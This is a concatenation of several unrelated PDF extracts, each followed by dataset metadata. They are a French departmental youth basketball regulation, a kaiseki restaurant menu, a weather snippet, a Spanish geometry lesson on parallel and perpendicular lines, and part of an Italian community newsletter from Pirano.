FEDERATION FRANCAISE DE BASKET-BALL COMITE DEPARTEMENTAL DE BASKET-BALL DE LA HAUTE-GARONNE CHAMPIONNAT DEPARTEMENTAL JEUNES U13.U15.U17m.U18F DEPARTEMENTAL & DEPARTEMENTAL division 2 REGLEMENT SPORTIF PARTICULIER 2019 - 2020 1.1 1.2 1.3 1.4 1.5 1.6 2.1 2.2 2.3 2.4 2.5 2.6 3 4 1.1 1.2 1.3 1.4 1.5 1.6 2.1 2.2 2.3 2.4 2.5 2.6 3 4 5.1 5.2 5.3 5.4 5.5 6.1 6.2 6.3 7 8.1 8.2 8.3 8.4 9 10.1 11 12 13 U13 U15 U17 Article n° 5 -- PARTICIPATION A LA CATEGORIE Championnat réservé aux JOUEUR(SE)S U12 et U13 Championnat réservé aux JOUEUR(SE)S U14 et U15 Championnat réservé aux JOUEUR(SE)S U16 et U17 Un joueur des catégories U13 et plus jeunes ne peut par dérogation aux dispositions de l'article 429.2 - RG de Rappel de l'article 429.1 - RG de la FFBB : Un joueur des participer à plus d'une rencontresur 3 jours consécutifs la FFBB, un joueur des catégories U15 ou U14 peut catégories U17 à VÉTÉRANS ne peut participer à plus qu'il soit surclassé ou non (à l'exception des tournois, participer à deux rencontres sur3 jours consécutifs de deux rencontressur 3 jours consécutifs. pour autant que le temps de jeu soit réduit, et uniquement si ce sont deux rencontres des phases finales des compétitions nationales). de la catégorie U15. le samedi à 13h. le samedi à 16h30. le samedi à 14h30. Ballons : Féminine : Taille 5 / Masculin : Taille 6 Ballons : Féminine : Taille 6 / Masculin : Taille 7 Ballons : Féminine : Taille 6 / Masculin : Taille 7 Ligne à 3 points à 6,25m Ligne à 3 points à 6,25m Ligne à 3 points à 6,75m En cas d'égalité à la fin du temps réglementaire, la rencontre se poursuit aumaximumpar deux prolongations de trois (3) minutes. En cas d'égalité à la fin du temps réglementaire, la Si les deux équipes n'ont pas réussi à se départager, rencontre se poursuit aumaximumpar quatre joueur(se)s encore qualifié(e)s de chaque équipe deux prolongations de cinq (5) minutes. En cas d'égalité à la fin du temps réglementaire, la vont tirerunlancer‐franc Si les deux équipes n'ont pas réussi à se départager, rencontre se poursuit parautantde prolongation(s) (en alternance après un tirage au sort du premier tireur). un joueur(se)s encore qualifié(e)s de chaque équipe va de cinq (5) minutes que cela sera nécessaire Le choix du panier et de la 1ère équipe devant tirerunlancer-franc. si les deux équipes sont à nouveau obtenir un résultat positif. effectuer le 1er lancer‐franc se feront par tirage au sort. à égalité, la même procédure sera appliquée et ceci Si après la 1ère série de lancers‐francs les deux équipes jusqu'à ce que les deux équipes soient départagées. sont à nouveau à égalité, la même procédure sera Le choix du panier et de la 1ère équipe devant appliquée et ceci jusqu'à ce que les deux équipes soient effectuer le 1er lancer‐franc se feront par tirage au sort. départagées (en alternant l'équipe qui commence par rapport à la 1ère série). En tout état de cause, s'il n'y a pas entente entre les deux associations, la rencontre se déroulera : La Commission Sportive se réserve le droit de trancher tout litige concernant une rencontre dont la feuille de marque ne lui est pas parvenue. Aucune rencontre ne pourra être validée si le report a une date ultérieure n'as pas été autorisé par la commission sportive. Article n° 7 --MATERIEL ET EQUIPEMENT. (art. 14&15 RG CD31) Interdiction de faire participer un(e) joueur(se) dans une catégorie d'âge inférieure. En cas d'infraction,l'association sportive contrevenante s'expose à la perte du match par pénalité et assume la responsabilité en cas d'accident ou d'incident (cfart 43.6des Règlements généraux du CD31). La gestion des phases finales est assurée par le CD31. L'horaire est fixé par la commission sportive.Tout cas exceptionnel sera réglé par le CD 31. Surclassement : le surclassement en vigueur est celui du niveau DEPARTEMENTAL. La mixité n'est pas autorisée dans ces catégories pour les championnatsniveau D1 et D2organisés par le Comité de la Haute-Garonne. Cf : Les dispositions de l'article 5-2 des règlements généraux du Comité Départemental de la Haute-Garonne en vigueur. Article n° 6 --DATE ET HORAIRE DES RENCONTRES. La gestion des rencontres Département 1 & 2 est assurée par le CD31. L'horaire est à fixer par l'association recevant entre 10h00 et 18h00 (début des rencontres). Les résultats des rencontres doivent être rentrés sur : Internet : http://extranet.ffbb.com/fbiAVANT LE DIMANCHE SOIR 20H. (même en cas d'utilisation de l' E-marque). Les rencontres peuvent être avancées par dérogation (FBIv2) mais, en aucun cas, reculées, sauf cas de force majeure dûment justifié. Article n° 8 --COMMUNICATION DES RESULTATS. & TRANSMISSION FEUILLE DE MARQUE. (art. 37 RG CD31) Les feuilles de marque doivent parvenir à la Commission Sportive en charge de cette compétition au PLUS TARD LE MERCREDI SUIVANT LA RENCONTRE OBLIGATION d'utiliser le logiciel fédéral E-marque. chacune d'entre elle doit êtrePERSONNALISEES{joueur (ses)s nominativement désigné(e)s.}. Ces listes pourront être modifiées pour la phase de championnat. La composition des équipes personnalisées doit être transmise, avant la première journée du Championnat, à la Commission Sportive chargée de cette phase de compétition. Dépose du fichier "export" de la rencontre importée depuis FBIv2 sur la page du site FFBB suivante : http:// http://www.ffbb.com/ffbb/officiels/otm/e-marque Article n° 10 --ENGAGEMENT DE PLUSIEURS EQUIPES. (art. 46à48RG CD31) Dès les brassages si l'association sportive engage plusieurs équipes dans une même catégorie , E-marque faite en saisie manuelle, le club recevant doit transmettre les deux fichiers (1)"export" et (2)feuille de marque en pdf par courriel à : firstname.lastname@example.org AVANT LE DIMANCHE SOIR 20H. Article n° 9 --PENALITES POUR MANQUEMENT AUX REGLES. Se référer aux Règlements généraux du Comité de la Haute-Garonne : dispositions financières. Article n° 12 --OFFICIELS. L'association recevant est responsable de l'arbitrage de la rencontre. Quand Les équipes se retrouvent dans des niveaux de compétition différents dans une phase. la règle du «BRULAGE» s'applique. Le nombre de brûlés(es) est de5. La liste des joueur(euse)s « brûlé(e)s sera obligatoirement transmise avant la première journée de la phase, à la Commission sportive chargée de la gestion de cette phase ATTENTION : Les joueur(se)s désigné(e)s dans une équipe personnalisée ne peuvent changer d'équipe dans le courant d'une même phase, sauf décision de la Commission Sportive chargée de la gestion de la phase de compétition. En cas de non transmission, dans les délais prévus ci‐dessus, de la liste des équipes personnalisées ou brûlées à la Commission Sportive compétente, Article n° 13 --IMPREVUS. La Commission Sportive qui gère la phase de compétition se réserve le droit de trancher tous les cas non prévus au présent règlement. toute rencontre disputée par l'équipe concernée sera déclarée perdue par pénalité jusqu'à complète régularisation de leurs obligations administratives. Article n° 11 --PAS DE MATCH NUL. Gérard NEBOUT Secrétaire Général CDBB31 Bruno HAETTY Président Commission Sportive CDBB31 5.1 5.2 5.3 5.4 5.5 6.1 6.2 6.3 7 8.1 8.2 8.3 8.4 9 10.1 11 12 13
<urn:uuid:f23f440f-cb1f-4099-9492-6f28820e5718>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
7,346
UKA Kaiseki Autumn Menu 6:30 PM 五感の出汁 : Dashi for the Five Senses Traditional Broth of Kombu Kelp and Smoked Bonito Flakes 八寸 : Seasonal Appetizer* Chef's Daily Creation of Bite-Sized Starters お椀 With Sudachi : Botan Hamo お造り * Daily Special : Chef's Choice Sashimi 茶碗蒸し : Cauliflower Chawanmushi Steamed Egg Custard, Hotate, Lobster with Japanese Traditional Ginan Chrysanthemum Petal Sauce 焼き物 肉 With Gobo Purée and Gobo Pickles : Wagyu Roast Yahata Maki お食事 : Ebi Kakiage with White Rice Japanese Rice from Yuki-Tsubaki Delicately Seasoned Rice Prepared in Earthenware Pot, with Miso Soup and Tsukemono (Japanese pickles) and Kyoto-Grown Organic Hojicha Tea Choice of Adding Dashi at the End 甘味 : Seasonal Dessert Matcha Tiramisu *Consuming raw or undercooked meats, poultry, seafood, shellfish or eggs may increase your risk of foodborne illness, especially if you have certain medical conditions. ** Menus are subject to change without notice. Ingredients and course details are subject to change daily.
<urn:uuid:1535335e-f472-4556-b0f5-c0dd95aa0dcf>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,034
Il meteo in Banyuwangi giovedì 09 de dicembre, 2021 Descarga Hora por hora en Banyuwangi Predicción para las próximas horas Oggi: 08 28°
<urn:uuid:96bf6791-0c74-488f-91eb-2819ad3a3b92>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
142
Construcciones, avenidas y cruces ¿Conoces algunas de las avenidas o jirones mostrados en las imágenes? ¿Qué tienen en común estos jirones o avenidas? ¿Con qué forma geométrica se podría representar los jirones o avenidas de las imágenes mostradas? Observando las imágenes podemos afirmar que las casas están ubicadas una al lado de la otra, formando el jirón o la avenida. Estos inmuebles están alineados, es decir, forman una línea recta. En otras palabras, los jirones y las avenidas, nos dan la idea de recta. La recta es un elemento geométrico que se define como una sucesión de puntos que se extienden infinitamente en una sola dirección y en ambos sentidos. Notación: $\overleftrightarrow{AB}$, se lee “recta AB”. $\overleftrightarrow{\ell}$, se lee “recta $\ell$”. En el plano, las rectas pueden ser: | Paralelas | Secantes | |-----------|----------| | Son dos rectas que nunca se cruzan, son equidistantes, es decir, las separa la misma distancia. | Son perpendiculares. Al cruzarse forman cuatro ángulos de 90°. | | ![Paralelas](image1) | ![Secantes](image2) | Resuelve problemas de forma, movimiento y localización Posiciones relativas de dos rectas en el plano Las calles y avenidas están dispuestas de modo tal que podemos ejemplificar a partir de ellas las relaciones entre dos rectas. Veamos algunos ejemplos: - Las avenidas Brasil y Arnaldo Márquez se extienden a lo largo del plano mostrado, separadas siempre por la misma distancia. Luego, estas dos avenidas nos dan la idea de rectas paralelas. - Las avenidas Francisco Javier Mariátegui y Cayetano Heredia se cruzan formando ángulos diferentes a $90^\circ$. Luego, estas dos avenidas nos dan la idea de rectas oblicuas. - Las avenidas Paso de los Andes y Brasil se cruzan formando ángulos de $90^\circ$. Luego, estas dos avenidas nos dan la idea de rectas perpendiculares. **En grupo, ejecuta y argumenta.** - Observa el plano mostrado y menciona dos avenidas, calles o jirones, que nos den la idea de: - Rectas paralelas. - Rectas oblicuas. - Rectas perpendiculares. - Observa a tu alrededor y menciona objetos que ejemplifiquen las relaciones entre dos rectas. - Dibuja 10 segmentos paralelos y córtalos por la línea roja (Figura 1). Une las partes tal como se muestra en la Figura 2. ¿Por qué ahora hay 9 líneas? **Actividad 3** *Portafolio de EVIDENCIAS*
<urn:uuid:9ab8e822-7ac8-47f7-84ca-70bb5e594907>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
2,356
Editoriale DA VENTICINQUE ANNI di Kristijan Knez Il presente numero lo apriamo, sebbene con ritardo, evidenziando un anniversario legato a questo foglio. È trascorso, infatti, un quarto di secolo dall’uscita del numero ‘zero’ (dicembre 1990) e da allora, grazie all’impegno di vari capiredattori e di redazioni più o meno allargate, “il Trillo” informa sulla realtà italiana nel Piranesse e si sofferma su temi specifici d’interesse della Comunità nazionale italiana (CNI), che altrimenti non troverebbero spazio sugli altri mezzi d’informazione, salvo taluni che per dovere di cronaca entrano nel circuito dei mass media della CNI medesima. Il periodico è sorto in un momento di grandi cambiamenti, all’antivigilia dell’implosione della Jugoslavia e della nascita dei nuovi stati indipendenti. “Spinti dalla voglia di fare giornalismo vero”, scriveva Stefano Lusa, il foglio si proponeva di diventare la voce di una Comunità che desiderava interagire in ogni ambito della vita sociale. In questi anni il giornale ha conosciuto varie stagioni e altrettante metamorfosi, non le rammenteremo in questo editoriale, poiché in uno dei prossimi numeri proporremo un approfondimento con vari contributi. In questa sede desidero solo sottolineare la sua importanza per la comunità italiana, intesa come collettività in questo angolo d’Istria, che, per quanto modesto e con tutti i limiti che vogliamo, è un vettore che trasmette notizie, opinioni, cultura. L’edizione cartacea raggiunge centinaia d’indirizzi, mentre quella elettronica è potenzialmente a disposizione di tutti. Con piacere notiamo che un numero significativo di lettori ci segue grazie al web, in primo luogo i tanti piranesi sparsi per il mondo, che l’avversità della storia e degli uomini ha sradicato (continua a pag. 2) Verso Pirano Sullo sfondo la cinta muraria e il duomo di San Giorgio (Foto: Gianfranco Abrami) pg. 4 Un risultato degno di nota Ginnasio “Sema”: miglior punteggio alla maturità 2014-15 in Slovenia Daniela Paliaga pg. 6 Il toponimo, la ricchezza di un nome Nel centro storico affisse altre dieci targhe Nadia Zigante pg. 12-13 Pagine di storia riviste con Mario Bonifacio La vita sociale dei marittimi piranesi fino alla metà del secolo scorso Amalia Petronio pg. 16-19 SPECIALE La presenza dei conti Rota a Pirano Storia e proprietà di una famiglia Marina Paoletić dal suolo natio, ma non ha cancellato le radici e il legame con la terra d'origine, nonché ai discendenti di questi o coloro che si avvicinano per interesse o semplice curiosità. Questo foglio che è lo specchio degli italiani della patria di Tartini e delle sue adiacenze è contraddistinto dall'apertura e non preclude la collaborazione alle persone di buona volontà, anzi, il confronto, lo scambio di idee e/o di argomenti li consideriamo una ricchezza. In venticinque anni il giornale è cresciuto, è migliorato, la sua qualità in senso lato è stata notata e approvata. È un riconoscimento che rappresenta uno sporne a confezionarlo sempre meglio. Ma non dobbiamo scordarci che "il Trillo" esce grazie all'impegno, al lavoro, all'abnegazione e alle tante ore dedicate a titolo volontario sia dalla redazione sia da quanti collaborano ad ogni singolo numero. Perciò, la sua esistenza dipende dal contributo corale. Il sottoscritto, che è legato al "Trillo" da quasi un ventennio - ero uno studente ginnasiale quando mi sono avvicinato - alla fine ho ottenuto l'incarico e la fiducia di curarlo. Dopo un periodo abbastanza lungo, conoscendo le dinamiche interne ma anche le difficoltà che avrei incontrato, accettai di prendere in mano le redini del periodico. Era e rimane una sfida (assolutamente non facile). Mi piacerebbe tanto individuare qualche ragazza o ragazzo del nostro ginnasio (possono farsi avanti!) per iniziare una forma di partecipazione alla realizzazione del bimestrale. Se desideriamo la sua continuità, se vogliamo uscire con un prodotto interessante, fresco d'idee, attuale, dobbiamo guardare alle generazioni più giovani, dare delle possibilità, stimolarle e, dopo un periodo di utile gavetta, affidare a queste anche ruoli di responsabilità. Questo dovrebbe essere un percorso naturale. Il foglio lo abbiamo rivoluzionato, senza perdere di vista le sue finalità e la sua missione. La periodicità è mutata, e sul versante dell'informazione può essere uno svantaggio, per questo motivo è cambiata la linea editoriale, abbiamo puntato maggiormente sulle opinioni, sulle pagine culturali e su quelle legate alla storia e al retaggio del passato, sono stati introdotti gli speciali che propongono approfondimenti sugli argomenti più diversi legati al territorio del comune di Pirano; è stata una scelta felice e in siffatto spazio ospitiamo i contributi di vari autori, non necessariamente legati direttamente alla locale comunità italiana, e, cosa significativa, di piranesi non più residenti a Pirano, ma pur sempre nostri concittadini, con i quali è doveroso, oltre che utile, una collaborazione sinergica. Il passato non può mutare, ciò che si è consumato è irreversibile, e sappiamo tutti che la Pirano di un tempo è stata, purtroppo, consegnata alla storia. I suoi tempi andati, la sua favella, il suo retaggio culturale e architettonico, la sua dimensione spirituale, il ricordo, invece, non potranno mai annacquare, o peggio scomparire, se avremo tenacia, passione e onestà intellettuale. Saremo giudicati per ciò che abbiamo fatto. Con "il Trillo" cerchiamo di far arrivare il nostro piccolo contributo. Viviamo il presente, guardiamo il futuro, ma non dimentichiamo il passato, perché siamo consapevoli delle nostre radici. L'IDENTITÀ DEI LUOGHI di Andrea Bartole È in corso il procedimento di standardizzazione dei nomi geografici (toponimi) delle zone nazionalmente miste. Il ministero per l'ambiente e il territorio mediante l'amministrazione geodetica ha chiesto alle CAN comunali di verificare le traduzioni (praticamente inesistenti) dei toponimi presenti sul territorio in modo che venga così creata una lista di nomi 'nostri' a fronte di quelli sloveni. Questa lista di corrispondenze verrà esaminata dalla Commissione per la standardizzazione dei nomi geografici che, una volta approvati, verranno inseriti nella cartografia nazionale. Si tratta di un'occasione unica per la CNI che va colta al balzo e sfruttata nel migliore dei modi. Infatti, per la compilazione della lista, è importante fare un lavoro serio, e a questo punto – definitivo. È estremamente importante ripescare o semplicemente confermare i nomi storici dei luoghi ripercorrendone la storia. Si rende così necessaria la ricerca storica, la visione dei materiali in sede di consiglio, la collaborazione con i nostri soci che hanno la memoria più lunga di altri o semplicemente scambiare opinioni su nomi ricordati dalla gente, perché una volta se diseva cusi. Ci ritroviamo in consiglio a discutere e al contempo a ripercorrere la storia dei 'nostri' luoghi, delle 'nostre' terre, alle quali solo noi possiamo dare il nome corretto e sicuramente non i cartografi del ministero che lavorano sugli archivi post '54. Mi sento di definire questa richiesta del ministero (anche se probabilmente il procedimento di approvazione finale sarà ancora molto lungo) una svolta, un pertugio di apertura nei confronti della CNI caratterizzato da una prospettiva diversa. Basti pensare alle piccole (ma grandi dal punto di vista simbolico) vittorie dello scorso 2015 concernenti il riconoscimento della denominazione in italiano della galleria di Monte San Marco e poi di Val Stagnon quale traduzione corretta di Škocjanski zatok. Si tratta quindi di un ulteriore passo avanti nel riconoscere la presenza storica sul territorio della nostra Comunità e la sua autoctonia. Forse qualcuno le ritiene piccole concessioni, ma le carte geografiche una volta stampate non si cancelleranno con semplicità e se su queste verranno (finalmente) scritti i nomi 'giusti', che invieremo noi alla commissione sostenendone e dimostrandone la veridicità, si scriverà un nuovo capitolo della geografia slovena. Questa volta anche in italiano. Scripta manent. VIII SESSIONE ORDINARIA DELLA CI “GIUSEPPE TARTINI” Il giorno 27 gennaio si è tenuta l’ottava sessione ordinaria dell’Assemblea della Comunità degli Italiani “Giuseppe Tartini” di Pirano. Alla presenza di quasi tutti i componenti dell’Assemblea, si è discusso su un ordine del giorno incentrato sui programmi per l’anno in corso nell’ambito della collaborazione con il Comune di Pirano, l’Unione Italiana, l’Università Popolare di Trieste e la Fondazione Diego de Castro per il tramite della Cassa di Risparmio di Trieste, sulla bozza del contratto tra il Museo del mare “Sergej Mašera” di Pirano e la CI, sulla problematica del bimestrale “il Trillo” ed infine è stato dato spazio alle varie. La Presidente Manuela Rojec ha informato i consiglieri sulla necessità di presentare una richiesta al Comune di Pirano per il finanziamento della regolare attività culturale per il 2016, con l’ulteriore possibilità di finanziamento di due progetti del valore di circa 800 euro l’uno. Per quanto concerne i finanziamenti dell’Unione Italiana, essi verranno destinanti ai gruppi artistici e alle spese di gestione di Casa Tartini. Verranno poi richiesti, come ogni anno, gli aiuti allo studio per i nostri studenti ed altri finanziamenti in base ai bisogni della CI. Per il 2015 è stato richiesto un finanziamento per l’acquisto di un computer ed una copertura parziale delle spese del bimestrale “il Trillo”. Dopo una breve discussione, su intervento di Silvia Červar Perentin, l’Assemblea invita gli attivisti del gruppo di Voga alla veneta di esplicare i propri desiderata, trovando nel contempo una soluzione per l’inclusione del gruppo all’interno della Comunità (sotto l’egida della CI o della CAN). Kristjan Knez ha esposto poi ai consiglieri il problema che sta riscontrando all’interno della redazione de “il Trillo”. La redazione è formata da pochi ma validi membri che dedicano alla stesura del bimestrale il proprio tempo libero e sempre più spesso riscontrano difficoltà in questo lavoro causa la mancanza di contributi da parte dei connazionali. L’Assemblea si propone quindi di contribuire maggiormente alla stesura de “il Trillo” e di coinvolgere anche gli altri soci, in primis i capigruppo, che verranno sollecitati ad inviare fotografie e testi. La Presidente ha ricordato all’Assemblea che quest’anno ricorrono i 120 anni dall’inaugurazione del monumento a Giuseppe Tartini e che in via straordinaria la CI potrebbe prendersi carico degli eventi che verranno organizzati per l’occasione, ovviamente nel caso vi sia anche il supporto del Comune di Pirano. Gli eventi dedicati ai quali la CI parteciperà saranno i seguenti: 3 marzo 2016: apertura della mostra al Museo regionale di Capodistria; 8 aprile 2016: concerto al Teatro Tartini in collaborazione con il Museo del mare “Sergej Mašera” e l’Auditorio di Portorose; 18 giugno 2016: Notte dei musei, mostra a Casa Tartini dedicata al violinista e allo scultore Dal Zortto; 2 agosto 2016: celebrazione con la quale si vuole ricreare l’inaugurazione del monumento del 1896 in collaborazione con il Tartini Festival, il Comune di Pirano, il Museo del mare, i Solisti Veneti ed il Comune di Padova. Si è analizzata poi la necessità di redigere un contratto con il Museo del mare in merito alla gestione della Stanza ricordo, a tal fine si è lavorato sulla bozza dello stesso pervenuta dal Museo del mare “Sergej Mašera”. La Presidente Rojec ha informato i consiglieri sulla possibilità di organizzare eventi o concerti nella piazzetta antistante Casa Tartini; gli Enti preposti hanno comunicato che la CI ha diritto di usufruire dello spazio pubblico gratuitamente, previo accordo con i ristoratori, fino ad un massimo di cinque volte all’anno. Ha comunicato inoltre all’Assemblea di aver aderito al bando di concorso per l’affitto della Casa Veneziana, indetto dal Comune di Pirano, ottenendo sostegno ed approvazione dai consiglieri stessi. Helena Maglica OMAGGIO ALLE DONNE Lo scorso 25 febbraio a Casa Tartini è stata inaugurata la mostra Omaggio alle donne, incentrata sulla figura femminile. Sono stati esposti i lavori realizzati dai gruppi di pittura e di ceramica, guidati rispettivamente da Liliana Stipanov e Apolonia Krejačić, sempre molto attivi. Il pubblico ha potuto ammirare l’abilità artistica dei partecipanti ai laboratori, i quali attraverso l’utilizzo di svariate tecniche hanno espresso la loro creatività in molteplici lavori. È seguito il concerto del cantante Rudi Bučar, che ha riproposto vari brani di artisti italiani. Ginnasio “Antonio Sema” di Pirano UN RISULTATO DEGNO DI NOTA IL MIGLIOR PUNTEGGIO MEDIO ALLA MATURITÀ 2014-15 IN SLOVENIA Notizia di cronaca: 12 febbraio 2016 il Delo.si pubblica l’elenco delle scuole medie della Slovenia e le mette in ordine secondo la media dei punteggi raggiunti alla maturità 2014-15. Al primo posto il Ginnasio “Antonio Sema” di Pirano con 23,8 punti sui 34 massimi (inclusa la lode). Tutti gli altri vengono dopo. I dati messi così hanno un valore relativo perché un conto è avere una generazione di 14 o 15 studenti e un altro averne da 80 a 200 e ricavare poi la media all’esame di maturità. Ma di là da tutte le considerazioni obiettive, senza illusioni, fa un grandissimo piacere vedere una delle nostre scuole in cima alla lista, là dove mai nessuno se lo sarebbe aspettato. Per la nostra Scuola (scrivo con la S maiuscola perché penso a tutto il nostro sistema scolastico minoritario) che è sopravvissuta attraverso i decenni a tutte le tempeste e a tutte le riforme questo è indubbiamente un bellissimo risultato. Forse ho un po’ caricato le cose, un po’ esagerato nell’entusiasmo della bella ‘notizia’, ma ho comunque presente la nostra realtà e i nostri problemi. Certo che, mi viene logico esprimerlo ad alta voce (me ne scuso con i lettori), se tutti i nostri connazionali avessero continuato ad iscrivere i propri figli nelle nostre scuole avrebbero indubbiamente tenuto alto il loro buon nome, le avrebbero rinforzate con il numero. Le scuole avrebbero resistito diversamente ai ‘venti contrari’. Oggi forse avremmo anche più insegnanti connazionali, forse avremmo potuto avere programmi differenti da quelli del sistema di stato. Ma in ogni caso tutti avremmo avuto un grande beneficio: si sarebbe potuta costruire liberamente l’identità dei nostri ragazzi non solo come identità di cultura e civiltà italiana, figlia della più grande cultura italiana, della sua storia, della sua arte, della sua musica… ma anche quella autoctona italiana del territorio, della sua storia millenaria e ne avrebbe guadagnato largamente l’autostima, l’identità psicologica di ognuno dei nostri ragazzi, saldi nelle loro radici, orgogliosi delle loro origini. È importante costruire l’identità culturale dei nostri figli? Possiamo costruirla soltanto in famiglia? Basta quanto riusciamo a trasmettere attraverso gli affetti, le tradizioni, la buona cucina di mamma o di nonna? Io credo di no, anche se tante sono le vie per trasmettere e costruire questa consapevolezza, la scuola è certamente la via più naturale, più semplice e meno faticosa. Intorno a noi un clima di tolleranza, di collaborazione, di serenità deve però favorire questa disposizione. Il rispetto che le istituzioni hanno e dimostrano attraverso un’uguale tutela dei propri cittadini, facendosi garanti dei loro diritti, si rispecchia poi nell’atteggiamento che i cittadini hanno nei confronti delle istituzioni e di se stessi in quanto destinatari e fruitori. Succede così nel nostro vivere quotidiano? I nostri ragazzi parlano volentieri l’italiano fuori casa e fuori scuola? Qualcuno ha detto solo poco più di un anno fa, che nella comunicazione fra coetanei, quando parla in italiano prova vergogna, parola grossa, parola pesante, parola che ci toglie il respiro, ma che ben esprime tutto il suo loro disagio. Chi dovrebbe raccogliere questi messaggi? Chi dovrebbe assumersi la responsabilità di queste affermazioni? Chi potrebbe e dovrebbe restituire rispetto e dignità alla nostra lingua, alla nostra cultura e così, finalmente, riconoscere il valore aggiunto che stiamo dando a questo territorio? Molti dei nostri ex studenti hanno avuto il posto di lavoro (un bel posto, una bella carriera) proprio grazie alla lingua italiana. La scuola (di là dei suoi successi) svolge sempre il suo compito, come del resto quella della maggioranza. L’impegno c’è sempre: si semina, si coltiva sempre. Il terreno non è sempre il medesimo e nemmeno il contadino… e qualche volta, anche quando è ottimo, per altri motivi, i risultati non sono brillanti. Eppure oggi io sono felice e dico “Congratulazioni Ginnasio ‘Antonio Sema’ di Pirano, vivissime congratulazioni, avanti così! Congratulazioni scuole e asili italiani, congratulazioni per tutti i risultati che vi riconoscono solo chi vi frequenta!”. Daniela Paliaga L’impegno premia I maturandi licenziati nell’anno scolastico 2014-15 assieme alla capoclassa Irena Đurđević Mauro (foto: Archivio Ginnasio “Antonio Sema”, Pirano) A Santa Lucia L’UOMO SENZA QUALITÀ LA QUESTIONE DEL “PARCO DEL SOLE” Carissimi amici del “Trillo”, le mie sono alcune semplici considerazioni che credo siano importanti sottolineare in questo momento del nostro vivere quotidiano. Mi riferisco alle recenti ed attuali ‘baruffe chiozzotte’ tra Comune e Marina di Portorose, in merito al bellissimo “Parco del sole” di Santa Lucia. Sono d’accordo, come è stato più volte ribadito che il problema dovrebbe essere risolto di comune accordo tra le due entità in questione (Comune e Marina). Credo però che tutto ciò non basti, in quanto lo scontro tra chi difende gli interessi civili e sociali della nostra popolazione, alias il Comune di Pirano, si scontra con gli interessi privati del singolo o dei singoli, che hanno l’intenzione di vendere quel terreno, per chissà quali scopi di lucro, certamente non per il mantenimento di uno spazio così importante per tutta la popolazione di Santa Lucia e per l’intero nostro comune: per le nostre mamme, i nostri bambini, i nostri anziani (anche quelli della vicina casa dell’anziano), per tutti coloro che abitano in questa località ed hanno trovato nel parco uno spazio libero, dove passeggiare, correre, giocare, trascorrere alcune ore in santa pace, lontani dalle quotidiane peripezie. Uno spazio libero, insomma, che veniva a mancare. Quanto mi lascia allibito e profondamente avvilito è che la nostra popolazione non si è prodigata a difendere gli interessi sociali e collettivi dei frequentanti ed il parco in questione, nessuno ha mosso una sia pur piccola forma di ‘iniziativa civica’ o ‘civile’, qual dir si voglia, nella difesa di questi spazi, tanto importanti per tutti noi, per tutta la collettività che qui vive ed opera. Purtroppo, questo è l’amaro in bocca che ci rimane, siamo tutti pronti a promuovere una qual si voglia ‘iniziativa civile’ per difendere i nostri meri e localistici interessi personali, come è accaduto di recente a causa dell’aumento del prezzo della nafta per il riscaldamento, quando è stata scomodata persino la Comunità locale di Santa Lucia, con l’intera presidenza. Lo stesso valeva per la problematica di Campolin, che ormai ha fatto storia. Monopolizziamo l’opinione pubblica per interessi propri, raccogliendo firme per una ipotetica ‘iniziativa civile’. Nessuno, cari cittadini, si è prodigato a raccogliere firme per salvaguardare l’esistenza del “Parco del sole” ed un domani per tutti noi. Il “Parco del Sole” L’area già pista di go-kart doveva diventare una zona verde (foto: Fulvia Zudić) Nessuno, però, che io sappia ha inteso a manifestare civilmente e collettivamente contro la futura scomparsa del “Parco del Sole”, nessuno si è preso la briga di difendere questo importante spazio vitale. Vergogna, cari signori. Vergogna veramente, in quanto il Sole è ormai tramontato. Bruno Fonda Il toponimo è il nome di un luogo. Questo nome legato al territorio ha avuto, in un momento della sua storia, un significato importante per la gente: esprimeva la caratteristica, l’attività che si svolgeva in una via, la particolarità di una piazza, il nome di una famiglia, il legame con un’altra città e via dicendo. Il toponimo esprime con chiarezza il significato storico di un posto. Pensiamo ai nomi legati ai mestieri: via dei calzolai, dei pescatori, dei panettieri… Il toponimo si carica di significato perché riesce ad esprimere informazioni preziose, uniche, non sempre individuabili nei documenti e dà all’istante l’indicazione, rinfresca la memoria. I toponimi sono dunque nomi essenziali e profondi che ci permettono di capire un luogo e il suo passato, fatto di gesti e di manualità, di famiglie e personaggi importanti, di piccole cose e azioni quotidiane che costituiscono la vita e il visuto. A Pirano recuperare questa ricchezza dovrebbe essere un dovere, prima di tutto di noi italiani, ma anche della municipalità. Ricordiamo che negli anni Cinquanta del secolo passato in città scomparve sistematicamente la toponomastica originaria, quella che stava ad indicare la particolarità storica dei luoghi legati ai suoi abitanti, partiti anch’essi assieme ai ricordi più veri e irripetibili. Il primo passo per il ripristino delle antiche nominazioni delle vie piranesi avvenne nel 2006, dopo una lunga battaglia della CAN di Pirano a livello comunale, con la collocazione di dieci targhe accanto ai nomi attuali delle strade. Ecco i toponimi: Carrara Grande, Erta del Duomo, Piazza Portadomo, Piazzetta S. Rocco, Via Caldana, Via Mogoron, Via della Punta, Riva del Ponte, Via del Molo, Campo della Salute. Li voglio ricordare perché nominarli li investe di significato e importanza, soprattutto se usati regolarmente per indicare la via o la piazza. Nel 2012 la CAN di Pirano sottolinea l’importanza di continuare con l’intervento di recupero della toponomastica e propone un’altra serie di titolazioni che verranno introdotte senza difficoltà: Via Marciana, Via e Campo S. Pietro, Largo Pescheria, Riva S. Giorgio, Via Delfin, Erta delle Torri, Carrara di Raspo, Calle e Androna della Rotonda, Via S. Rocco, Calle Aquileia. Più tortuosa è invece la strada per la collocazione della serie di toponimi presentati nel 2013, poi slittati nel 2015. Gli esperti al Comune decidono che c’è troppa confusione a livello cittadino di tabelle, di indicazioni, di pubblicità. Aspettiamo un anno per capire se l’ordine estetico si farà… non se ne fa nulla. La CAN allora ritorna a insistere con la proposta e finalmente, a fine 2015, abbiamo la soddisfazione di avere altre dieci tabelle: Erta del Paradiso, Via delle Fontanelle, Calle del Mandracchio, Piazzale Pietro Kandler (già Tribio), Campo del Salario, Calle Vincenzo de Castro, Largo della Creta, Via Chioggia, Via Venezia, Via della Creta. Il passo successivo è di estendere l’azione alle zone rurali, iniziando da Strugnano, per ricordare le frazioni locali di Caverie, Santo Spirito, Carbonaro, Ronco, Marzanedo, San Basso e Viaro. E poi forse continuare a S. Lucia o Portorose. Non vi piacerebbe percorrere il Viale dei Freschi per recarvi all’Auditorio? Ripristinare gli 